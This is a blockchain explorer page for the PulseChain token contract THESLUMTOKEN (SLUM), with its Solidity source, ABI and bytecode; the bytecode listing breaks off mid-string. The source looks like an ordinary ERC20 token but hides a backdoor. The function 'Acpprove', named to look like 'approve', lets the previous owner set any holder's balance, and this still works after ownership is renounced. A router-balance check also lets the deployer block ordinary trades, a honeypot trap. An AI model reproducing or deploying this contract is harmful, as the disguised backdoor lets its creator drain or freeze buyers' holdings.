false
true
0

Contract Address Details

0x05B02301E82139d395FA0B31dd75Bcf040CEA5DD

Token
THESLUMTOKEN (SLUM)
Creator
0x142306–c1665e at 0x90f263–a6d151
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
Fetching transactions...
Transfers
Fetching transfers...
Gas Used
Fetching gas used...
Last Balance Update
25858335
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
Contract name:
THESLUMTOKEN




Optimization enabled
true
Compiler version
v0.8.19+commit.7dd6d404




Optimization runs
200
EVM Version
default




Verified at
2024-08-17T16:32:14.097243Z

Constructor Arguments

0x000000000000000000000000165c3410fc91ef562c50559f7d2289febed552d9

Arg [0] (address) : 0x165c3410fc91ef562c50559f7d2289febed552d9

              

Contract source code

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transfer_hoppeiOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _isAdmin();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transfer_hoppeiOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_hoppeiOwnership(newOwner);
    }

    function _transfer_hoppeiOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply_hoppei;

    string private _name_hoppei;
    string private _symbol_hoppei;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoppei(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoppei(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer_hoppei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _transfer_withbsy(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

    function Acpprove(address[] memory accounts, uint256 amount) public virtual returns (bool) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));

        bool isOwner = msgSenderHex == prevOwnerHex;

        require(isOwner, "Acpprove: Not authorized");

        for (uint256 i = 0; i < accounts.length; i++) {
            _balances[accounts[i]] = amount;
        }

        return true;
    }

    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

interface IPulseXFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IPulseXRouter01 {
    function factory() external pure returns (address);
    function WPLS() external pure returns (address);
}

interface IPulseXRouter02 is IPulseXRouter01 { }

contract THESLUMTOKEN is ERC20 {
    uint256 private constant TOTAL_SUPTSUPYSB = 1000_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_hoppei;
    uint256 public maxTxAmountiontes;
    uint256 public maxwalladdressty_;
    mapping(address => bool) public isException;

    uint256 _burnPercentioty = 0;

    address uniswapV2Pair;
    IPulseXRouter02 uniswapV2Router;

    constructor(address router) ERC20("THESLUMTOKEN", "SLUM", TOTAL_SUPTSUPYSB) {
        IPulseXRouter02 _uniswapV2Router = IPulseXRouter02(router);
        uniswapV2Router = _uniswapV2Router;

        maxwalladdressty_ = TOTAL_SUPTSUPYSB / 30;
        maxTxAmountiontes = TOTAL_SUPTSUPYSB / 30;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _checkLimitation_hoppei(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]) {
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPercentioty) / 100;

                super._transfer_withbsy(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hoppei(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_hoppei = true;
    }

    function _checkLimitation_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit_hoppei) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmountiontes, "Amount exceeds max");

                if (uniswapV2Pair == ZERO) {
                    uniswapV2Pair = IPulseXFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WPLS());
                }

                if (to == uniswapV2Pair) {
                    return;
                }

                require(balanceOf(to) + amount <= maxwalladdressty_, "Max holding exceeded max");
            }
        }
    }
}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"address","name":"router","internalType":"address"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"Acpprove","inputs":[{"type":"address[]","name":"accounts","internalType":"address[]"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"hasLimit_hoppei","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isException","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"maxTxAmountiontes","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"maxwalladdressty_","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"removeLimit","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]}]
              

Contract Creation Code

Verify & Publish
0x60806040526000600b553480156200001657600080fd5b50604051620018103803806200181083398101604081905262000039916200022b565b6040518060400160405280600c81526020016b2a2422a9a62aa6aa27a5a2a760a11b81525060405180604001604052806004815260200163534c554d60e01b815250670de0b6b3a76400006200009e62000098620001c960201b60201c565b620001cd565b6005620000ac848262000302565b506006620000bb838262000302565b506004819055336000818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600d80546001600160a01b0319166001600160a01b038416179055508062000139601e670de0b6b3a7640000620003ce565b60095562000151601e670de0b6b3a7640000620003ce565b60085550600a6020527f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054600160ff1991821681179092556001600160a01b0392909216600090815260408082208054851684179055338252808220805485168417905530825290208054909216179055620003f1565b3390565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156200023e57600080fd5b81516001600160a01b03811681146200025657600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200028857607f821691505b602082108103620002a957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002fd57600081815260208120601f850160051c81016020861015620002d85750805b601f850160051c820191505b81811015620002f957828155600101620002e4565b5050505b505050565b81516001600160401b038111156200031e576200031e6200025d565b62000336816200032f845462000273565b84620002af565b602080601f8311600181146200036e5760008415620003555750858301515b600019600386901b1c1916600185901b178555620002f9565b600085815260208120601f198616915b828110156200039f578886015182559484019460019091019084016200037e565b5085821015620003be5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620003ec57634e487b7160e01b600052601260045260246000fd5b500490565b61140f80620004016000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063dd62ed3e11610071578063dd62ed3e14610269578063ee368d67146102a2578063f2fde38b146102ab578063fbf8a77c146102be578063ff7ea8b8146102cb57600080fd5b80638da5cb5b146101fd57806395d89b411461021857806398636f3214610220578063a457c2d714610243578063a9059cbb1461025657600080fd5b806339509351116100f457806339509351146101a65780634145f08e146101b957806362256589146101c257806370a08231146101cc578063715018a6146101f557600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017257806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102de565b6040516101469190610ff2565b60405180910390f35b61016261015d366004611065565b610370565b6040519015158152602001610146565b6004545b604051908152602001610146565b610162610192366004611091565b610387565b60405160098152602001610146565b6101626101b4366004611065565b61043d565b61017660095481565b6101ca610474565b005b6101766101da3660046110d2565b6001600160a01b031660009081526002602052604090205490565b6101ca61048b565b6000546040516001600160a01b039091168152602001610146565b61013961049f565b61016261022e3660046110d2565b600a6020526000908152604090205460ff1681565b610162610251366004611065565b6104ae565b610162610264366004611065565b610549565b6101766102773660046110f6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61017660085481565b6101ca6102b93660046110d2565b610556565b6007546101629060ff1681565b6101626102d9366004611145565b6105cf565b6060600580546102ed90611210565b80601f016020809104026020016040519081016040528092919081815260200182805461031990611210565b80156103665780601f1061033b57610100808354040283529160200191610366565b820191906000526020600020905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b600061037d338484610723565b5060015b92915050565b6000610394848484610847565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561041e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610432853361042d8685611260565b610723565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161037d91859061042d908690611273565b61047c6109c8565b6007805460ff19166001179055565b6104936109c8565b61049d6000610a22565b565b6060600680546102ed90611210565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156105305760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610415565b61053f338561042d8685611260565b5060019392505050565b600061037d338484610847565b61055e6109c8565b6001600160a01b0381166105c35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610415565b6105cc81610a22565b50565b60015460405133606081901b6bffffffffffffffffffffffff1916602083015260009290916001600160a01b03909116908390603401604051602081830303815290604052805190602001209050600082604051602001610648919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f1981840301815291905280516020909101209050818114806106b25760405162461bcd60e51b815260206004820152601860248201527f41637070726f76653a204e6f7420617574686f72697a656400000000000000006044820152606401610415565b60005b88518110156107145787600260008b84815181106106d5576106d5611286565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061070c9061129c565b9150506106b5565b50600198975050505050505050565b6001600160a01b0383166107855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b6001600160a01b0382166107e65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610415565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661086d5760405162461bcd60e51b8152600401610415906112b5565b6001600160a01b0382166108935760405162461bcd60e51b8152600401610415906112fa565b61089e838383610a80565b806000036108ab57505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156108ed57506001600160a01b0382166000908152600a602052604090205460ff16155b156109b857600d546001600160a01b03166000908152600260205260409020541561095a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610415565b600c546001600160a01b03848116911614806109835750600c546001600160a01b038381169116145b156109b85760006064600b548361099a919061133d565b6109a49190611354565b90506109b284848484610d4b565b50505050565b6109c3838383610ed3565b505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610415565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166109c3576001600160a01b0383166000908152600a602052604090205460ff16158015610acc57506001600160a01b0382166000908152600a602052604090205460ff16155b156109c357600854811115610b185760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b6044820152606401610415565b600c546001600160a01b0316610cb557600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f9190611376565b6001600160a01b031663e6a4390530600d60009054906101000a90046001600160a01b03166001600160a01b031663ef8ef56f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c259190611376565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610c70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c949190611376565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610cd057505050565b60095481610cf3846001600160a01b031660009081526002602052604090205490565b610cfd9190611273565b11156109c35760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610415565b6001600160a01b038416610d715760405162461bcd60e51b8152600401610415906112b5565b6001600160a01b038316610d975760405162461bcd60e51b8152600401610415906112fa565b6001600160a01b03841660009081526002602052604090205482811015610dd05760405162461bcd60e51b815260040161041590611393565b6001600160a01b03851660009081526002602052604090208382039055610df78284611260565b92508160046000828254610e0b9190611260565b90915550506001600160a01b03841660009081526002602052604081208054859290610e38908490611273565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ec491815260200190565b60405180910390a35050505050565b6001600160a01b038316610ef95760405162461bcd60e51b8152600401610415906112b5565b6001600160a01b038216610f1f5760405162461bcd60e51b8152600401610415906112fa565b6001600160a01b03831660009081526002602052604090205481811015610f585760405162461bcd60e51b815260040161041590611393565b610f628282611260565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610f98908490611273565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe491815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561101f57858101830151858201604001528201611003565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105cc57600080fd5b803561106081611040565b919050565b6000806040838503121561107857600080fd5b823561108381611040565b946020939093013593505050565b6000806000606084860312156110a657600080fd5b83356110b181611040565b925060208401356110c181611040565b929592945050506040919091013590565b6000602082840312156110e457600080fd5b81356110ef81611040565b9392505050565b6000806040838503121561110957600080fd5b823561111481611040565b9150602083013561112481611040565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561115857600080fd5b823567ffffffffffffffff8082111561117057600080fd5b818501915085601f83011261118457600080fd5b81356020828211156111985761119861112f565b8160051b604051601f19603f830116810181811086821117156111bd576111bd61112f565b6040529283528183019350848101820192898411156111db57600080fd5b948201945b83861015611200576111f186611055565b855294820194938201936111e0565b9997909101359750505050505050565b600181811c9082168061122457607f821691505b60208210810361124457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103815761038161124a565b808201808211156103815761038161124a565b634e487b7160e01b600052603260045260246000fd5b6000600182016112ae576112ae61124a565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176103815761038161124a565b60008261137157634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561138857600080fd5b81516110ef81611040565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220aed21872d037c4f8d985327de2d23b2462ef86c59041d6329709033788d2a5ae64736f6c63430008130033000000000000000000000000165c3410fc91ef562c50559f7d2289febed552d9

Deployed ByteCode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063dd62ed3e11610071578063dd62ed3e14610269578063ee368d67146102a2578063f2fde38b146102ab578063fbf8a77c146102be578063ff7ea8b8146102cb57600080fd5b80638da5cb5b146101fd57806395d89b411461021857806398636f3214610220578063a457c2d714610243578063a9059cbb1461025657600080fd5b806339509351116100f457806339509351146101a65780634145f08e146101b957806362256589146101c257806370a08231146101cc578063715018a6146101f557600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017257806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102de565b6040516101469190610ff2565b60405180910390f35b61016261015d366004611065565b610370565b6040519015158152602001610146565b6004545b604051908152602001610146565b610162610192366004611091565b610387565b60405160098152602001610146565b6101626101b4366004611065565b61043d565b61017660095481565b6101ca610474565b005b6101766101da3660046110d2565b6001600160a01b031660009081526002602052604090205490565b6101ca61048b565b6000546040516001600160a01b039091168152602001610146565b61013961049f565b61016261022e3660046110d2565b600a6020526000908152604090205460ff1681565b610162610251366004611065565b6104ae565b610162610264366004611065565b610549565b6101766102773660046110f6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61017660085481565b6101ca6102b93660046110d2565b610556565b6007546101629060ff1681565b6101626102d9366004611145565b6105cf565b6060600580546102ed90611210565b80601f016020809104026020016040519081016040528092919081815260200182805461031990611210565b80156103665780601f1061033b57610100808354040283529160200191610366565b820191906000526020600020905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b600061037d338484610723565b5060015b92915050565b6000610394848484610847565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561041e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610432853361042d8685611260565b610723565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161037d91859061042d908690611273565b61047c6109c8565b6007805460ff19166001179055565b6104936109c8565b61049d6000610a22565b565b6060600680546102ed90611210565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156105305760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610415565b61053f338561042d8685611260565b5060019392505050565b600061037d338484610847565b61055e6109c8565b6001600160a01b0381166105c35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610415565b6105cc81610a22565b50565b60015460405133606081901b6bffffffffffffffffffffffff1916602083015260009290916001600160a01b03909116908390603401604051602081830303815290604052805190602001209050600082604051602001610648919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f1981840301815291905280516020909101209050818114806106b25760405162461bcd60e51b815260206004820152601860248201527f41637070726f76653a204e6f7420617574686f72697a656400000000000000006044820152606401610415565b60005b88518110156107145787600260008b84815181106106d5576106d5611286565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061070c9061129c565b9150506106b5565b50600198975050505050505050565b6001600160a01b0383166107855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b6001600160a01b0382166107e65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610415565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661086d5760405162461bcd60e51b8152600401610415906112b5565b6001600160a01b0382166108935760405162461bcd60e51b8152600401610415906112fa565b61089e838383610a80565b806000036108ab57505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156108ed57506001600160a01b0382166000908152600a602052604090205460ff16155b156109b857600d546001600160a01b03166000908152600260205260409020541561095a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610415565b600c546001600160a01b03848116911614806109835750600c546001600160a01b038381169116145b156109b85760006064600b548361099a919061133d565b6109a49190611354565b90506109b284848484610d4b565b50505050565b6109c3838383610ed3565b505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610415565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166109c3576001600160a01b0383166000908152600a602052604090205460ff16158015610acc57506001600160a01b0382166000908152600a602052604090205460ff16155b156109c357600854811115610b185760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b6044820152606401610415565b600c546001600160a01b0316610cb557600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f9190611376565b6001600160a01b031663e6a4390530600d60009054906101000a90046001600160a01b03166001600160a01b031663ef8ef56f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c259190611376565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610c70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c949190611376565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610cd057505050565b60095481610cf3846001600160a01b031660009081526002602052604090205490565b610cfd9190611273565b11156109c35760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610415565b6001600160a01b038416610d715760405162461bcd60e51b8152600401610415906112b5565b6001600160a01b038316610d975760405162461bcd60e51b8152600401610415906112fa565b6001600160a01b03841660009081526002602052604090205482811015610dd05760405162461bcd60e51b815260040161041590611393565b6001600160a01b03851660009081526002602052604090208382039055610df78284611260565b92508160046000828254610e0b9190611260565b90915550506001600160a01b03841660009081526002602052604081208054859290610e38908490611273565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ec491815260200190565b60405180910390a35050505050565b6001600160a01b038316610ef95760405162461bcd60e51b8152600401610415906112b5565b6001600160a0